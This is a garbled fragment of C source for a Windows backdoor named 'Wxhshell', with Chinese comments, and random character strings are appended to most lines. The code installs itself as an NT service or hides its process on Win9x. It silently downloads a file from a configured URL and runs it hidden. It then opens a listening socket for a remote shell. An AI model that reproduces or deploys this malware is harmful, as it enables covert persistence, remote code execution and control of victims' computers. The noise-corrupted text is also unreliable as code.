eeZ9 w~<
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7t/SZm
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dRC+|^rSC
dg<fUQ
HANDLE hProcess; 2?&ptN)`N
PROCESS_BASIC_INFORMATION pbi; `84yGXLK
x$4'a~E
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XAkl,Y
if(NULL == hInst ) return 0; 3mpjSL
_3JTHf<+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CKx}.<_
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
fQ) ;+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wEqCuhZ
6f1Y:qK'@
if (!NtQueryInformationProcess) return 0; (b5af_ c
3_:k12%p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,bg#pG!x Q
if(!hProcess) return 0; oZw#Nd
U{m:{'np(H
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (.)s =
1EB`6_>y
CloseHandle(hProcess); H2-(
{%dQV#'c
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "=O)2}
if(hProcess==NULL) return 0; }R(_^@]
YzVLa,[
HMODULE hMod; n`1i k'x?
char procName[255]; w=5qth7
unsigned long cbNeeded; g Q^]/X
=@ RVLml
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .$;GVJ-:5
T9yW# .
CloseHandle(hProcess); %UhF=C
G3n7x?4m
if(strstr(procName,"services")) return 1; // 以服务启动 s"Wdbw(O '
jiDYPYx;I
return 0; // 注册表启动 Nq3P?I(<
} 6= D;K.!
R8)"M(u=l
// 主模块 ujedvw;sO
int StartWxhshell(LPSTR lpCmdLine) ^}#!?"Y
{ KYaf7qy]
SOCKET wsl; D=$<Ex^p
BOOL val=TRUE; ^TGHWCK!t
int port=0; fq'Of
wT
struct sockaddr_in door; ~1oD7=WN
C_/oORvK
if(wscfg.ws_autoins) Install(); a6OT2B
g*uO
IF
port=atoi(lpCmdLine); 1d6pQ9 N
|ouk;r24V
if(port<=0) port=wscfg.ws_port; Uw!v=n3#!
WF7RMQ51j
WSADATA data; 8jk*N
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J\BdC];
=W=%!A\g
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #</yX5!V
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xUUp?]9y
door.sin_family = AF_INET; C}Q2UK-:
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2I
door.sin_port = htons(port);
AHb
K.SHY!U}
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [%pZM.jFO
closesocket(wsl);
ObUQ B+
return 1; ~czt=
} DDEn63{
[iD!!{6+
if(listen(wsl,2) == INVALID_SOCKET) { iGIaZ!j aW
closesocket(wsl); {iRNnh
return 1; "Q( 8FF
} pWqahrWh
Wxhshell(wsl); SzDi=lY
WSACleanup(); !ibp/:x
e;$s{CNo
return 0; l)Hu.1~
*!/9?M{p
} TBzM~y
FVHL;J]nf1
// 以NT服务方式启动 )Z#7%,o
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R;%iu0
{ 9/Ls3U?
DWORD status = 0; P-C_sj A7
DWORD specificError = 0xfffffff; GUxhCoxb
6ZE]7~X
serviceStatus.dwServiceType = SERVICE_WIN32; N78Ev7PN
serviceStatus.dwCurrentState = SERVICE_START_PENDING; W*0KAC`m
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z{ 8!3>:E
serviceStatus.dwWin32ExitCode = 0; ]5/C"
serviceStatus.dwServiceSpecificExitCode = 0; p5*Y&aKj
serviceStatus.dwCheckPoint = 0; $FoNEr&q
serviceStatus.dwWaitHint = 0; 9"rATgN1
RK,~mXA
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z7Kc`9.0|
if (hServiceStatusHandle==0) return; 8[k-8h|
Gs%kqD{=
status = GetLastError(); j'W)Nyw$[
if (status!=NO_ERROR) _>*"6
{ KLk37IY2\
serviceStatus.dwCurrentState = SERVICE_STOPPED; eNNK;xXe#
serviceStatus.dwCheckPoint = 0; zK&`&("4C
serviceStatus.dwWaitHint = 0; `?)i/jko"
serviceStatus.dwWin32ExitCode = status; 1DX=\BWp
serviceStatus.dwServiceSpecificExitCode = specificError; TS;MGi0`}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `c icjA@~
return; b#b#r
} xc!"?&\*
\<5xf<{
serviceStatus.dwCurrentState = SERVICE_RUNNING; o{qbbJBC
serviceStatus.dwCheckPoint = 0; B`vV[w?
serviceStatus.dwWaitHint = 0; #pZ3xa3R
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6l4l74
} f-Sb:O!V
[W2k#-%G
// 处理NT服务事件,比如:启动、停止 |Qm 7x[i
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;3w W)gL1
{ yk=H@`~!
switch(fdwControl) /q=<OEC
{ ^71sIf;+
case SERVICE_CONTROL_STOP: qU"+0t4
serviceStatus.dwWin32ExitCode = 0; $V[ob
serviceStatus.dwCurrentState = SERVICE_STOPPED; 76
y}1aa
serviceStatus.dwCheckPoint = 0; M8h9i2
serviceStatus.dwWaitHint = 0; c9Cp!.#*E
{ *ce h
]v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `0L!F"W
} DV.m({?
return; +iXA|L9=
case SERVICE_CONTROL_PAUSE: /as1
serviceStatus.dwCurrentState = SERVICE_PAUSED; P^
a$?
break; 4`i_ 4&TS
case SERVICE_CONTROL_CONTINUE: Q$3%aR-2
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8NLk`/
break; Eq|_>f@@8
case SERVICE_CONTROL_INTERROGATE: BUtXHD
break; {9z EnVfg
}; 4u<oe_n
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E]68IuP@'
} nF)|oA
\=.iM?T
// 标准应用程序主函数 "2 Kh2[K
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W<~(ieu:K~
{ km *$;Nli
XRZmg "
// 获取操作系统版本 smSUo/
OsIsNt=GetOsVer(); )#1@@\< ^T
GetModuleFileName(NULL,ExeFile,MAX_PATH); }%%| '8
lOVsp#
// 从命令行安装 (mv8_~F0
if(strpbrk(lpCmdLine,"iI")) Install(); Z
yIn>]{
3o z]
// 下载执行文件 (`T:b1
if(wscfg.ws_downexe) { 8tsW^y;S
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I(C_}I>Wb
WinExec(wscfg.ws_filenam,SW_HIDE); LNe-]3wB
} !dZC-U~
zE<}_nA
if(!OsIsNt) { `*WR[c
// 如果时win9x,隐藏进程并且设置为注册表启动 GR/
p%Y(
HideProc(); 4-sUy
StartWxhshell(lpCmdLine); fk=_ Y
} ucyxvhH^-
else 0rF{"HM~
if(StartFromService()) _Nw-|N .
// 以服务方式启动 /KH3v!G0
StartServiceCtrlDispatcher(DispatchTable); syMB~g
else 8USF;k
// 普通方式启动 !}U&%2<69
StartWxhshell(lpCmdLine); F e8xOo6
3rs=EMz:w
return 0; !uHX2B+~
}